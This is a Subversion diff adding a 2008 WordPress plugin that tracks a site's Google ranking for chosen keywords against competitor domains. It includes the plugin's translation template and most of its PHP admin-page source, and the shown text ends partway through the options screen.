+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/languages/wordpress-google-seo-positioner.pot	(revision 44)
@@ -0,0 +1,320 @@
+# SOME DESCRIPTIVE TITLE.
+# This file is put in the public domain.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/wordpress-google-seo-"
+"positioner\n"
+"POT-Creation-Date: 2008-05-26 16:27+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: position_yourself.php:104 position_yourself.php:105
+msgid "Position Yourself"
+msgstr ""
+
+#: position_yourself.php:112 position_yourself.php:113
+msgid "Manage keywords"
+msgstr ""
+
+#: position_yourself.php:119 position_yourself.php:120
+msgid "Manage options"
+msgstr ""
+
+#: position_yourself.php:126 position_yourself.php:127
+msgid "Track positions"
+msgstr ""
+
+#: position_yourself.php:142
+msgid "Positioner"
+msgstr ""
+
+#: position_yourself.php:143 position_yourself.php:385
+msgid "Your keywords"
+msgstr ""
+
+#: position_yourself.php:212 position_yourself.php:301
+#: position_yourself.php:437
+msgid "You have not yet added any keywords."
+msgstr ""
+
+#: position_yourself.php:247
+#, php-format
+msgid ""
+"Your keywords have been successfully positioned! <a href=\"%s\">Click here "
+"for the detailed report.</a>"
+msgstr ""
+
+#: position_yourself.php:251
+msgid "Your keywords could not be positioned. Please try again."
+msgstr ""
+
+#: position_yourself.php:262
+#, php-format
+msgid ""
+"You can get the position of your website for your keywords by pressing <a "
+"href=\"%s\">Position me</a>. Afterwards you can view your detailed report "
+"under the <a href=\"%s\">Track positions</a> page."
+msgstr ""
+
+#: position_yourself.php:263 position_yourself.php:296
+#, php-format
+msgid "<a href=\"%s\" class=\"button\">Position me</a>"
+msgstr ""
+
+#: position_yourself.php:268 position_yourself.php:410
+#: position_yourself.php:728
+msgid "Keyword"
+msgstr ""
+
+#: position_yourself.php:269
+msgid "Last position"
+msgstr ""
+
+#: position_yourself.php:306 position_yourself.php:387
+#: position_yourself.php:441
+#, php-format
+msgid "<a href=\"%s\" class=\"button\">Modify keywords</a>"
+msgstr ""
+
+#: position_yourself.php:320
+msgid "Manage your keywords"
+msgstr ""
+
+#: position_yourself.php:337
+msgid "Save keywords &raquo;"
+msgstr ""
+
+#: position_yourself.php:339
+msgid "Keywords added."
+msgstr ""
+
+#: position_yourself.php:340
+msgid "Keywords deleted."
+msgstr ""
+
+#: position_yourself.php:341
+msgid "Keywords updated."
+msgstr ""
+
+#: position_yourself.php:342
+msgid "Keywords not added."
+msgstr ""
+
+#: position_yourself.php:343
+msgid "Keywords not updated."
+msgstr ""
+
+#: position_yourself.php:362
+msgid "Add your keywords"
+msgstr ""
+
+#: position_yourself.php:363
+msgid "Enter the keywords you want to track. Use a new line for each keyword."
+msgstr ""
+
+#: position_yourself.php:372
+msgid "Keywords"
+msgstr ""
+
+#: position_yourself.php:386
+#, php-format
+msgid ""
+"On this page you can <a href=\"%s\">modify</a> you keywords you want to "
+"track."
+msgstr ""
+
+#: position_yourself.php:456
+msgid "Manage Positioner Options"
+msgstr ""
+
+#: position_yourself.php:493
+msgid "Save options &raquo;"
+msgstr ""
+
+#: position_yourself.php:495
+msgid "Options added."
+msgstr ""
+
+#: position_yourself.php:496
+msgid "Options deleted."
+msgstr ""
+
+#: position_yourself.php:497
+msgid "Options updated."
+msgstr ""
+
+#: position_yourself.php:498
+msgid "Options not added."
+msgstr ""
+
+#: position_yourself.php:499
+msgid "Options not updated."
+msgstr ""
+
+#: position_yourself.php:507 position_yourself.php:604
+msgid "Google options"
+msgstr ""
+
+#: position_yourself.php:510 position_yourself.php:607
+#: position_yourself.php:777
+msgid "Region"
+msgstr ""
+
+#: position_yourself.php:514 position_yourself.php:611
+#: position_yourself.php:778
+msgid "Language"
+msgstr ""
+
+#: position_yourself.php:517
+msgid "Dutch"
+msgstr ""
+
+#: position_yourself.php:518
+msgid "French"
+msgstr ""
+
+#: position_yourself.php:519
+msgid "English"
+msgstr ""
+
+#: position_yourself.php:520
+msgid "German"
+msgstr ""
+
+#: position_yourself.php:521
+msgid "Italian"
+msgstr ""
+
+#: position_yourself.php:522
+msgid "Spanish"
+msgstr ""
+
+#: position_yourself.php:527 position_yourself.php:615
+msgid "Meta"
+msgstr ""
+
+#: position_yourself.php:531 position_yourself.php:619
+msgid "PageRank"
+msgstr ""
+
+#: position_yourself.php:534
+msgid "No"
+msgstr ""
+
+#: position_yourself.php:535
+msgid "Yes"
+msgstr ""
+
+#: position_yourself.php:537
+msgid "<strong>Notice:</strong> Enabling PageRank will take longer."
+msgstr ""
+
+#: position_yourself.php:541 position_yourself.php:623
+#: position_yourself.php:779
+msgid "Number of results"
+msgstr ""
+
+#: position_yourself.php:558 position_yourself.php:627
+msgid "Competitors"
+msgstr ""
+
+#: position_yourself.php:559
+msgid ""
+"<strong>Notice:</strong> To remove a competitor from the list, just leave "
+"the field empty and save the options."
+msgstr ""
+
+#: position_yourself.php:560
+msgid "Add competitor"
+msgstr ""
+
+#: position_yourself.php:579 position_yourself.php:588
+msgid "Competitor"
+msgstr ""
+
+#: position_yourself.php:602 position_yourself.php:658
+#, php-format
+msgid "<a href=\"%s\" class=\"button\">Modify options</a>"
+msgstr ""
+
+#: position_yourself.php:646
+#, php-format
+msgid "Competitor %s:"
+msgstr ""
+
+#: position_yourself.php:655
+msgid "You haven't added any competitors to track."
+msgstr ""
+
+#: position_yourself.php:673
+msgid "Keyword tracking"
+msgstr ""
+
+#: position_yourself.php:674
+msgid "Keep track of your keywords"
+msgstr ""
+
+#: position_yourself.php:693
+#, php-format
+msgid "Positioning found <span class=\"big\">%d</span> matches."
+msgstr ""
+
+#: position_yourself.php:699
+msgid "Started"
+msgstr ""
+
+#: position_yourself.php:703
+msgid "Ended"
+msgstr ""
+
+#: position_yourself.php:707
+msgid "Google Region"
+msgstr ""
+
+#: position_yourself.php:711
+msgid "Google Language"
+msgstr ""
+
+#: position_yourself.php:715
+msgid "Google Options"
+msgstr ""
+
+#: position_yourself.php:719
+msgid "Google Number of results"
+msgstr ""
+
+#: position_yourself.php:729
+msgid "Position"
+msgstr ""
+
+#: position_yourself.php:730
+msgid "Result page"
+msgstr ""
+
+#: position_yourself.php:775
+msgid "ID"
+msgstr ""
+
+#: position_yourself.php:776
+msgid "Date-Time"
+msgstr ""
+
+#: position_yourself.php:780
+msgid "Matches"
+msgstr ""
+
+#: position_yourself.php:823
+msgid "Get more information about this job."
+msgstr ""
+
+#: position_yourself.php:841
+msgid "No jobs have already ran."
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/position_yourself.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/position_yourself.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/position_yourself.php	(revision 44)
@@ -0,0 +1,1000 @@
+<?php
+/*
+Plugin Name: Position Yourself
+Plugin URI: http://www.queromediashare.com/wordpress-plugins/google-positioner-wordpress-plugin
+Description: Gets matches from Google results for your keywords
+Author: Kim Kennof
+Version: 1.2
+Author URI: http://www.queromediashare.com
+*/
+
+/*
+----------------------------------------------------------------------------
+Copyright 2007	Kim Kennof  (email : kim.kennof@queromedia.com)
+----------------------------------------------------------------------------
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+----------------------------------------------------------------------------
+*/
+
+if (!class_exists('positionyourself')) {
+    class positionyourself	{
+		
+		/**
+		* @var string   The name the options are saved under in the database.
+		*/
+		var $adminOptionsName = "positionyourself_options";
+		
+		/**
+		* PHP 4 Compatible Constructor
+		*/
+		function positionyourself() {$this->__construct();}
+		
+		/**
+		* PHP 5 Constructor
+		*/
+		function __construct() {
+
+			register_activation_hook(__FILE__,array(&$this,'positionyourself_install'));
+
+			if (is_admin()) {
+				add_action("admin_head", array(&$this, "add_admin_css"));
+				add_action("admin_menu", array(&$this, "add_admin_pages"));
+				add_action("init",		 array(&$this, "add_admin_scripts"));
+			}
+			
+			$this->adminOptions = $this->getAdminOptions();
+			
+			$py_locale = get_locale();
+			$py_mofile = dirname(__FILE__) . "/languages/position_yourself-".$py_locale.".mo";
+			load_textdomain("position_yourself", $py_mofile);
+		}
+		
+		/**
+		* Retrieves the options from the database.
+		* @return array
+		*/
+		function getAdminOptions() {
+			$adminOptions = array(	"pyKeywords" => "",
+									"pyCompetitors" => "",
+									"pyRegion" => "be",
+									"pyLanguage" => "nl",
+									"pyMeta" => "",
+									"pyPageRank" => "no",
+									"pyNumResults" => 30
+								 );
+			
+			$savedOptions = get_option($this->adminOptionsName);
+			
+			if (!empty($savedOptions)) {
+				foreach ($savedOptions as $key => $option) {
+					$adminOptions[$key] = $option;
+				}
+			}
+			update_option($this->adminOptionsName, $adminOptions);
+			return $adminOptions;
+		}
+		
+		
+		
+		/**
+		* Saves the Position Yourself options to the database.
+		* @return
+		*/
+		function saveAdminOptions() {
+			update_option($this->adminOptionsName, $this->adminOptions);
+		}
+		
+		/**
+		* Adds Position Yourself to admin menu.
+		* @return
+		*/
+		function add_admin_pages() {
+			add_menu_page(		__('Position Yourself','position_yourself'), 
+								__('Position Yourself','position_yourself'), 
+								10, 
+								__FILE__, 
+								array(&$this,"output_positioner")
+						);
+			
+			add_submenu_page(	__FILE__, 
+								__('Manage keywords','position_yourself'), 
+								__('Manage keywords','position_yourself'), 
+								10, 
+								"manage_keywords", 
+								array(&$this,"manage_keywords")
+							);
+			add_submenu_page(	__FILE__, 
+								__('Manage options','position_yourself'), 
+								__('Manage options','position_yourself'), 
+								10, 
+								"manage_options", 
+								array(&$this,"manage_options")
+							);
+			add_submenu_page(	__FILE__, 
+								__("Track positions",'position_yourself'), 
+								__("Track positions",'position_yourself'), 
+								10, 
+								"manage_keyword_tracking", 
+								array(&$this,"manage_keyword_tracking")
+							);
+		}
+		
+		/**
+		* Outputs the sourcecode for the admin page.
+		* @return
+		*/
+		function output_positioner() {
+			global $wpdb;
+			?>
+			<div class="wrap">
+				<h2><?php _e('Positioner','position_yourself'); ?></h2>
+                <h3><?php _e('Your keywords','position_yourself'); ?></h3>
+                <?php
+				//	arrays
+				$pyKeywords			= array();
+				$pyDomain			= '';
+				$pyCompetitors		= array();
+				$pyPositions 		= array();
+				$pyResults			= array();
+				
+				
+                if ( $this->adminOptions["pyKeywords"] ) {
+					$tmpKeywords = $this->adminOptions["pyKeywords"];
+					
+					if ( preg_match("/,/", $tmpKeywords) )
+						$pyKeywords = preg_split('/,/', $tmpKeywords, -1, PREG_SPLIT_NO_EMPTY);
+					else
+						array_push($pyKeywords, $tmpKeywords);
+						
+					$pyKeywords = pyTrimArray($pyKeywords);
+					
+                    $pyNumKw = count($pyKeywords);
+                } else {
+                    $pyNumKw = 0;
+                }
+				
+                if ( 0 != $pyNumKw ) {
+				
+					$action = attribute_escape($_GET["action"]);
+
+					if ( "run" == $action ) {
+						
+						//	start timer
+						timer_start();
+						//	start buffering the output for later
+						ob_start();
+						//	set parameters from options
+						$pyRegion			= $this->adminOptions["pyRegion"];
+						$pyLanguage			= $this->adminOptions["pyLanguage"];
+						$pyMeta				= ( isset($this->adminOptions["pyMeta"]) && '' != $this->adminOptions["pyMeta"] ) ? "&meta=restrict%3D".$this->adminOptions["pyMeta"] : "";
+						$pyPageRank			= $this->adminOptions["pyPageRank"];
+						$pyNumResults		= $this->adminOptions["pyNumResults"];
+						
+						//	domains
+						$pyDomain			= get_option('siteurl');
+						
+						//	competitors
+						
+						$tmpCompetitors		= $this->adminOptions["pyCompetitors"];
+						//$tmpCompetitors		= "http://en.wikipedia.org,http://www.google.be,http://www.queromedia.be";
+						
+						if ( preg_match("/,/", $tmpCompetitors) )
+							$pyCompetitors = preg_split('/,/', $tmpCompetitors, -1, PREG_SPLIT_NO_EMPTY);
+						else
+							array_push($pyCompetitors, $tmpCompetitors);
+						$pyCompetitors = pyTrimArray($pyCompetitors);
+						
+						//	total number of matches
+						$pyTotalMatches		= 0;
+						$oriKeywords		= $pyKeywords;
+						
+						$positioner 				= new Positioner();
+						$positioner->start 			= date('d-m-Y, H:i:s');
+						$positioner->region 		= $pyRegion;
+						$positioner->language 		= $pyLanguage;
+						$positioner->meta 			= $pyMeta;
+						$positioner->num_results 	= $pyNumResults;
+						
+						//	Start
+						if ( '' == $pyKeywords ) {
+							$this->error(__('You have not yet added any keywords.','position_yourself'));
+							exit();
+						}
+						
+						
+						if ( count($pyKeywords) > 0 ) {
+							//	begin foreach
+							foreach ( (array) $pyKeywords as $tmpKeyword ) {
+								//echo "<h1>$tmpKeyword</h1>";
+								$query = new GoogleQuery($tmpKeyword, $pyRegion, $pyLanguage, $pyNumResults);
+								//	get own matches
+								$query->set_results();
+								$query->find_matches($query->results, $pyDomain);
+								$query->find_top_position();
+								//	get competitor matches
+								if (count($pyCompetitors) > 0 ) {
+									foreach ( (array)$pyCompetitors as $tmpCompetitor ) {
+										if ($tmpCompetitor)
+											$competitor_matches[$tmpCompetitor] = $query->find_matches($query->results, $tmpCompetitor);
+									}
+									$query->competitors = (array)$competitor_matches;
+								}
+								$positioner->queries[] = $query;
+								
+								$timeOut = (int)((rand()%4) + 1);
+								$this->sleepr($timeOut);
+							}
+						}
+						$positioner->end = date('d-m-Y, H:i:s');
+						
+						$job_id = $this->process_results($positioner);
+						if ($job_id != 0) {
+							$job_url = get_option('siteurl').'/wp-admin/admin.php?page=manage_keyword_tracking&job_id='.$job_id;
+							
+							echo "<div class=\"message\">\n";
+							printf(__('Your keywords have been successfully positioned! <a href="%s">Click here for the detailed report.</a>','position_yourself'), $job_url);
+							echo "</div>\n";
+							
+						} else {
+							$this->error(__("Your keywords could not be positioned. Please try again.",'position_yourself'));
+						}
+					} else {
+						$jobdatasql = "SELECT ID FROM ".$wpdb->prefix."py_jobs ORDER BY ID DESC LIMIT 1";
+						$most_recent_job = $wpdb->get_var($jobdatasql);
+						
+						$counter = 0;
+						$position_url = get_option('siteurl') .'/wp-admin/admin.php?page='.plugin_basename( dirname( __FILE__ )).'/position_yourself.php&action=run';
+						$track_positions_url = get_option('siteurl') . '/wp-admin/admin.php?page=manage_keyword_tracking';
+						
+               			?>
+                        <p><?php printf(__('You can get the position of your website for your keywords by pressing <a href="%s">Position me</a>. Afterwards you can view your detailed report under the <a href="%s">Track positions</a> page.','position_yourself'), $position_url, $track_positions_url); ?></p>
+                		<p><?php printf(__('<a href="%s" class="button">Position me</a>','position_yourself'), $position_url); ?></p>
+						<table class="widefat" width="100%" cellspacing="2" cellpadding="5">
+							<thead>
+								<tr>
+									<th scope="col" style="text-align: center" width="30"><?php echo "#"; ?></th>
+									<th scope="col"><?php _e("Keyword",'position_yourself'); ?></th>
+                                    <th scope="col"><?php _e("Last position",'position_yourself'); ?></th>
+								</tr>
+							</thead>
+							<tbody id="the-list">
+							<?php
+                            foreach( (array) $pyKeywords as $tmpKeyword ) {
+								$counter++;
+								$tmpKeyword = trim($tmpKeyword);
+								$last_top_position_sql = "SELECT position FROM ".$wpdb->prefix."py_jobs_data WHERE job_id = ".$most_recent_job." AND type = 'own' AND keyword = '".$tmpKeyword."'";
+								$last_top_position = $wpdb->get_var($last_top_position_sql);
+								
+								
+								if ($row_class == '')
+									$row_class = 'alternate';
+								else
+									$row_class = '';
+                                ?>
+                                <tr class="<?php echo $row_class; ?>">
+                                    <th scope="row" style="text-align: center"><?php echo $counter; ?></th>
+                                    <td><?php echo htmlspecialchars($tmpKeyword); ?></td>
+                                    <td><?php echo $last_top_position; ?></td>
+                                </tr>
+                                <?php
+                            }
+							?>
+							</tbody>
+						</table>
+                        <p><?php printf(__('<a href="%s" class="button">Position me</a>','position_yourself'), $position_url); ?></p>
+						<?php
+						
+					}
+                } else { ?>
+                    <p><?php _e('You have not yet added any keywords.','position_yourself'); ?></p>
+                    <?php
+					//	Modify keywords link
+					$position_url = get_option('siteurl') . '/wp-admin/admin.php?page=manage_keywords&action=modify';
+					?>
+					<p><?php printf(__('<a href="%s" class="button">Modify keywords</a>','position_yourself'), $position_url); ?></p>
+                    <?php
+                } ?>
+			</div>
+			<?php
+		}
+		
+		/**
+		* Outputs the HTML for the keyword-management sub page.
+		*/
+		function manage_keywords() {
+			global $wpdb;
+			?>
+			<div class="wrap">
+				<h2><?php _e('Manage your keywords','position_yourself'); ?></h2>
+				<?php				
+				if ( isset($_GET["action"]) && "modify" == attribute_escape($_GET["action"]) ) {					
+					if ( isset($_POST["submit"]) ) {
+						$pyKeywords = stripslashes($_POST["keywords"]);
+						
+						$pyKeywords = trim($pyKeywords,"\n");
+						$pyKeywords = trim($pyKeywords);
+						$pyKeywords = explode("\n",$pyKeywords);
+						$pyKeywords = pyTrimArray($pyKeywords);
+						$pyKeywords = implode(", ",$pyKeywords);
+						$this->adminOptions["pyKeywords"] = $pyKeywords;
+						$this->saveAdminOptions();
+						$message_id = ( !empty($this->adminOptions) ) ? 3: 5;
+					} else {
+						$message_id = 0;
+					}
+					$submit_text = __('Save keywords &raquo;','position_yourself');
+					
+					$messages[1] = __('Keywords added.','position_yourself');
+					$messages[2] = __('Keywords deleted.','position_yourself');
+					$messages[3] = __('Keywords updated.','position_yourself');
+					$messages[4] = __('Keywords not added.','position_yourself');
+					$messages[5] = __('Keywords not updated.','position_yourself');
+					
+					$pyKeywords = $this->adminOptions["pyKeywords"];
+					
+					if ( '' != $pyKeywords ) {
+						$pyNumKw 		= count(explode(",",$pyKeywords));
+						$pyKeywords 	= explode(",",$pyKeywords);
+						$pyKeywordstr 	= '';
+						
+						foreach ( (array) $pyKeywords as $pyKeyword ) {
+							$pyKeywordstr .= trim($pyKeyword)."\n";
+						}
+						
+						$pyKeywordsstr = substr($pyKeywordstr,-1,2);
+					} else {
+						$pyNumKw = 0;
+						$pyKeywords = '';
+					}
+					?>
+					<h3><?php _e('Add your keywords','position_yourself'); ?></h3>
+                    <p><?php _e('Enter the keywords you want to track. Use a new line for each keyword.','position_yourself'); ?></p>
+					<?php if ( isset($message_id) && 0 != $message_id ) : ?>
+					<div id="message" class="updated fade"><p><?php echo $messages[$message_id]; ?></p></div>
+					<?php endif; ?>
+                    
+					<form method="post" action="admin.php?page=manage_keywords&action=modify">
+					<p class="submit"><input type="submit" name="submit" value="<?php echo $submit_text ?>" /></p>
+					<table class="options" width="100%" cellspacing="2" cellpadding="5">
+						<tr>
+							<th width="33%" scope="row" valign="top"><label for="keywords"><?php _e("Keywords",'position_yourself'); ?></label></th>
+							<td width="67%"><textarea name="keywords" cols="80" rows="50" id="keywords"><?php echo $pyKeywordstr; ?></textarea></td>
+						</tr>
+					</table>
+					<p class="submit"><input type="submit" name="submit" value="<?php echo $submit_text ?>" /></p>
+					</form>
+					<?php
+				}
+				else
+				{
+					//	Modify keywords link
+					$modify_kw_url = get_option('siteurl') . '/wp-admin/admin.php?page=manage_keywords&action=modify';
+					?>
+                    <h3><?php _e('Your keywords','position_yourself'); ?></h3>
+                    <p><?php printf(__('On this page you can <a href="%s">modify</a> you keywords you want to track.','position_yourself'), $modify_kw_url); ?></p>
+                    <p><?php printf(__('<a href="%s" class="button">Modify keywords</a>','position_yourself'), $modify_kw_url) ?></p>
+                    <?php
+					$pyKeywords = $this->adminOptions["pyKeywords"];
+			
+					if ( '' != $pyKeywords )
+					{
+						$pyNumKw = count(explode(',',$pyKeywords));
+						$pyKeywords = explode(',',$pyKeywords);
+					}
+					else
+					{
+						$pyNumKw = 0;
+						$pyKeywords = array();
+					}
+					if ( 0 != $pyNumKw )
+					{
+						//	show list of keywords
+						$counter = 0;
+						?>
+						<table class="widefat" width="100%" cellspacing="2" cellpadding="5">
+							<thead>
+								<tr>
+									<th scope="col" style="text-align: center" width="30"><?php echo "#"; ?></th>
+									<th scope="col"><?php _e("Keyword",'position_yourself'); ?></th>
+								</tr>
+							</thead>
+							<tbody id="the-list">
+						<?php
+						foreach ( (array) $pyKeywords as $pyKeyword )
+						{
+							$counter++;
+							if ($row_class == '')
+								$row_class = 'alternate';
+							else
+								$row_class = '';
+							?>
+								<tr class="<?php echo $row_class; ?>">
+									<th scope="row" style="text-align: center"><?php echo $counter; ?></td>
+									<td><?php echo htmlspecialchars(trim($pyKeyword)); ?></td>
+								</tr>
+							<?php
+						}
+						?>
+							</tbody>
+						</table>
+					<?php
+					}
+					else
+					{
+						?>
+						<p><?php _e("You have not yet added any keywords.",'position_yourself'); ?></p>
+						<?php
+					}
+					?>
+					<p><?php printf(__('<a href="%s" class="button">Modify keywords</a>','position_yourself'), $modify_kw_url) ?></p>
+            	<?php
+                }
+				?>
+			</div>
+			<?php
+		}
+		
+		/**
+		* Outputs the HTML for the google-options-management sub page.
+		*/
+		function manage_options() {
+			global $wpdb;
+			?>
+			<div class="wrap">
+				<h2><?php _e("Manage Positioner Options",'position_yourself'); ?></h2>
+				<?php
+				if ( isset($_GET["action"]) && "modify" == attribute_escape($_GET["action"]) ) {
+					if ( isset($_POST["submit"]) ) {
+						
+						$pyRegion 							= $_POST["pyRegion"];
+						$pyLanguage 						= $_POST["pyLanguage"];
+						$pyMeta 							= $_POST["pyMeta"];
+						$pyPageRank 						= $_POST["pyPageRank"];
+						$pyNumResults 						= (int)($_POST["pyNumResults"]);
+						$pyCompetitors 						= (array)($_POST["pyCompetitor"]);
+						$tmpCompetitors						= array();
+						
+						foreach ( $pyCompetitors as $tmpCompetitor ) {
+							if ( trim($tmpCompetitor) !='')
+								$tmpCompetitors[] = $tmpCompetitor;
+						}
+						
+						if (count($tmpCompetitors) > 0) {
+							$this->adminOptions["pyCompetitors"] = implode(",", $tmpCompetitors);
+						} else {
+							$this->adminOptions["pyCompetitors"] = '';
+						}
+						
+						$this->adminOptions["pyRegion"] 	= $pyRegion;
+						$this->adminOptions["pyLanguage"] 	= $pyLanguage;
+						$this->adminOptions["pyMeta"] 		= $pyMeta;
+						$this->adminOptions["pyPageRank"] 	= $pyPageRank;
+						$this->adminOptions["pyNumResults"] = $pyNumResults;
+						
+						$this->saveAdminOptions();
+						$message_id 						= (!empty($this->adminOptions)) ? 3 : 5;
+						
+						$tmpCompetitors						= array();
+					} else {
+						$message_id = 0;
+					}
+					$submit_text = __('Save options &raquo;','position_yourself');
+					
+					$messages[1] = __('Options added.','position_yourself');
+					$messages[2] = __('Options deleted.','position_yourself');
+					$messages[3] = __('Options updated.','position_yourself');
+					$messages[4] = __('Options not added.','position_yourself');
+					$messages[5] = __('Options not updated.','position_yourself');
+					?>
+                    
+					<?php if ( isset($message_id) && 0 != $message_id ) : ?>
+					<div id="message" class="updated fade"><p><?php echo $messages[$message_id]; ?></p></div>
+					<?php endif; ?>
+                    
+					<form method="post" action="admin.php?page=manage_options&action=modify">
+                    <h3><?php _e('Google options','position_yourself'); ?></h3>
+					<table class="form-table" width="100%" cellspacing="2" cellpadding="5">
+						<tr>
+							<th width="30%" scope="row" valign="top"><label for="pyRegion"><?php _e("Region",'position_yourself'); ?></label></th>
+							<td><input type="text" name="pyRegion" id="pyRegion" value="<?php echo $this->adminOptions["pyRegion"]; ?>" /></td>
+						</tr>
+                        <tr>
+							<th width="30%" scope="row" valign="top"><label for="pyLanguage"><?php _e("Language",'position_yourself'); ?></label></th>
+							<td>
+                            	<select name="pyLanguage">
+                                    <option value="nl"<?php if ( "nl" == $this->adminOptions["pyLanguage"] ) echo " selected=\"selected\""; ?>><?php _e('Dutch','position_yourself'); ?></option>
+                                    <option value="fr"<?php if ( "fr" == $this->adminOptions["pyLanguage"] ) echo " selected=\"selected\""; ?>><?php _e('French','position_yourself'); ?></option>
+                                    <option value="en"<?php if ( "en" == $this->adminOptions["pyLanguage"] ) echo " selected=\"selected\""; ?>><?php _e('English','position_yourself'); ?></option>
+                                    <option value="de"<?php if ( "de" == $this->adminOptions["pyLanguage"] ) echo " selected=\"selected\""; ?>><?php _e('German','position_yourself'); ?></option>
+                                    <option value="it"<?php if ( "it" == $this->adminOptions["pyLanguage"] ) echo " selected=\"selected\""; ?>><?php _e('Italian','position_yourself'); ?></option>
+                                    <option value="es"<?php if ( "es" == $this->adminOptions["pyLanguage"] ) echo " selected=\"selected\""; ?>><?php _e('Spanish','position_yourself'); ?></option>
+                                </select>
+                            </td>
+						</tr>
+                        <tr>
+							<th width="30%" scope="row" valign="top"><label for="pyMeta"><?php _e("Meta",'position_yourself'); ?></label></th>
+							<td><input type="text" name="pyMeta" id="pyMeta" class="wide" value="<?php echo $this->adminOptions["pyMeta"]; ?>" /></td>
+						</tr>
+                        <tr>
+							<th width="30%" scope="row" valign="top"><label for="pyPageRank"><?php _e("PageRank",'position_yourself'); ?></label></th>
+							<td>
+                            	<select name="pyPageRank" id="pyPageRank">
+                                <option value="no"<?php if ( "no" == $this->adminOptions["pyPageRank"] ) echo " selected=\"selected\""; ?>><?php _e('No','position_yourself'); ?></option>
+                                <option value="yes"<?php if ( "yes" == $this->adminOptions["pyPageRank"] ) echo " selected=\"selected\""; ?>><?php _e('Yes','position_yourself'); ?></option>
+                                </select>
+                                <span class="sublabel"><?php _e('<strong>Notice:</strong> Enabling PageRank will take longer.','position_yourself'); ?></span>
+                            </td>
+						</tr>
+                        <tr>
+							<th width="30%" scope="row" valign="top"><label for="pyNumResults"><?php _e('Number of results','position_yourself'); ?></label></th>
+							<td>
+                            <select name="pyNumResults" id="pyNumResults">
+                            <option value="10"<?php if ( "10" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>10</option>
+                            <option value="20"<?php if ( "20" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>20</option>
+                            <option value="30"<?php if ( "30" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>30</option>
+                            <option value="40"<?php if ( "40" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>40</option>
+                            <option value="50"<?php if ( "50" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>50</option>
+                            <option value="60"<?php if ( "60" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>60</option>
+                            <option value="70"<?php if ( "70" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>70</option>
+                            <option value="80"<?php if ( "80" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>80</option>
+                            <option value="90"<?php if ( "90" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>90</option>
+                            <option value="100"<?php if ( "100" == $this->adminOptions["pyNumResults"] ) echo " selected=\"selected\""; ?>>100</option>
+                            </select></td>
+						</tr>
+					</table>
+                    
+                    <h3><?php _e('Competitors','position_yourself'); ?></h3>
+                    <p><?php _e('<strong>Notice:</strong> To remove a competitor from the list, just leave the field empty and save the options.', 'position_yourself'); ?></p>
+                    <p id="new_field_link"><a href="javascript:void(0)" onclick="addNewCompetitorField2();"><?php _e('Add competitor','position_yourself'); ?></a></p>
+                    <table id="competitor-list" class="form-table" width="100%" cellspacing="2" cellpadding="5">
+                    	<?php
+						$tmpCompetitors = '';
+						$pyCompetitors = array();
+						
+                        if ($tmpCompetitors = $this->adminOptions["pyCompetitors"]) {
+							if ( preg_match("/,/", $tmpCompetitors) )
+								$pyCompetitors = preg_split('/,/', $tmpCompetitors, -1, PREG_SPLIT_NO_EMPTY);
+							else
+								array_push($pyCompetitors, $tmpCompetitors);
+							
+							$pyCompetitors = pyTrimArray($pyCompetitors);
+							
+							$num_competitors 	= 0;
+							foreach ( (array)$pyCompetitors as $tmpCompetitor ) {
+								$num_competitors++;
+							?>
+							<tr>
+								<th width="30%" scope="row" valign="top"><label for="pyCompetitor[]"><?php _e('Competitor','position_yourself'); ?></label></th>
+								<td><input name="pyCompetitor[]" type="text" class="wide" value="<?php echo $tmpCompetitor; ?>" /></td>
+							</tr>
+							
+							<?php
+							}
+						} else {
+							?>
+							<tr>
+								<th width="30%" scope="row" valign="top"><label for="pyCompetitor[]"><?php _e('Competitor','position_yourself'); ?></label></th>
+								<td><input name="pyCompetitor[]" class="wide" type="text" value="" /></td>
+							</tr>
+                      		<?php
+						}
+						?>
+                    </table>
+					<p class="submit"><input type="submit" name="submit" value="<?php echo $submit_text ?>" /></p>
+					</form>
+					<?php
+				} else {
+					//	Modify google options link
+					$modify_options_url = get_option('siteurl') . '/wp-admin/admin.php?page=manage_options&action=modify';
+					?>
+                    <p><?php printf(__('<a href="%s" class="button">Modify options</a>','position_yourself'), $modify_options_url) ?></p>
+                    
+                    <h3><?php _e('Google options','position_yourself'); ?></h3>
+					<table class="form-table" width="100%" cellspacing="2" cellpadding="5">
+						<tr>
+							<th width="33%" scope="row" valign="top"><?php _e("Region",'position_yourself'); ?></th>
+							<td width="67%"><?php echo $this->adminOptions["pyRegion"]; ?></td>
+						</tr>
+                        <tr>
+							<th width="33%" scope="row" valign="top"><?php _e("Language",'position_yourself'); ?></th>
+							<td width="67%"><?php echo $this->adminOptions["pyLanguage"]; ?></td>
+						</tr>
